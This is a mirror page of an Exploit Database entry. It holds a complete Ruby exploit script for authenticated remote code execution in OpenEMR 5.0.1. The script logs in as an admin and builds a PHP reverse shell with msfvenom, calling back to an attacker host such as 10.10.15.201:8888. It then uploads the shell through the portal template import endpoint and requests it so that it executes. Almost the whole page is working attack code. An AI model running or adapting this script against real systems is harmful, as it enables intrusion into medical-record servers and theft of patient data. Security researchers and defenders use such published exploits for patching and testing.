OpenEMR 5.0.1 – Remote Code Execution (Authenticated) (2)

• Exploit Database
• 15 阅读

• 作者： Alexandre ZANNI
  日期： 2021-01-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49486/

• # Title: OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2)
  # Exploit Author: Alexandre ZANNI
  # Date: 2020-07-16
  # Vendor Homepage: https://www.open-emr.org/
  # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
  # Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
  # Version: < 5.0.1 (Patch 4)
  # Tested on: Ubuntu 18.04, OpenEMR Version 5.0.1.3
  # References: https://www.exploit-db.com/exploits/48515
  
  #!/usr/bin/env ruby
  
  require 'httpclient'
  require 'docopt'
  
  shell_name = 'shell4.php'
  user = 'openemr_admin'
  password = 'xxxxxx'
  payload = 'php/reverse_php'
  lhost = '10.10.15.201'
  lport = 8888
  
  doc = <<~DOCOPT
  OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution
  
  Usage:
  #{__FILE__} manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
  #{__FILE__} semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
  #{__FILE__} auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
  #{__FILE__} -H | --help
  
  Options:
  -r <url>, --root-url <url>Root URL (base path) including HTTP scheme, port and root folder
  -s <filename>, --shell <filename> Filename of the PHP reverse shell payload
  -u <username>, --user <username>Username of the admin
  -p <password>, --password <password>Password of the admin
  -m <payload>, --payload <payload> Metasploit PHP payload
  -h <host>, --lhost <host> Reverse shell local host
  -t <port>, --lport <port> Reverse shell local port
  --debug Display arguments
  -H, --helpShow this screen
  
  Examples:
  #{__FILE__} manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
  #{__FILE__} semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
  #{__FILE__} auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999
  DOCOPT
  
  begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']
  if args['manual']
  shell_name = File.basename(args['--shell'])
  shell_path = args['--shell']
  else
  shell_name = "tmp#{rand(1000)}.php"
  shell_path = shell_name
  end
  if args['semi-auto']
  payload = args['--payload']
  else
  payload = 'php/reverse_php'
  end
  # Authentication data
  uri_1 = URI("#{args['--root-url']}/interface/main/main_screen.php?auth=login&site=default")
  data_1= {
  'new_login_session_management' => '1',
  'authProvider' => 'Default',
  'authUser' => args['--user'],
  'clearPass' => args['--password'],
  'languageChoice' => '1'
  }
  # Reverse shell data
  unless args['manual']
  puts "[+] Generating the reverse shell payload: #{shell_name}"
  %x(msfvenom -p #{payload} LHOST=#{args['--lhost']} LPORT=#{args['--lport']} -f raw > #{shell_name})
  end
  data_2 = {
  'site' => 'default',
  'mode' => 'save',
  'docid' => shell_name,
  'content' => File.read(shell_path)}
  uri_2 = URI("#{args['--root-url']}/portal/import_template.php?site=default")
  uri_3 = URI("#{args['--root-url']}/portal/#{shell_name}")
  
  clnt = HTTPClient.new
  
  puts '[+] Authenticating'
  clnt.post(uri_1, data_1)
  
  puts '[+] Uploading the reverse shell'
  clnt.post(uri_2, data_2)
  
  puts "[+] Executing the reverse shell: #{args['--root-url']}/portal/#{shell_name}"
  clnt.get(uri_3)
  rescue Docopt::Exit => e
  puts e.message
  end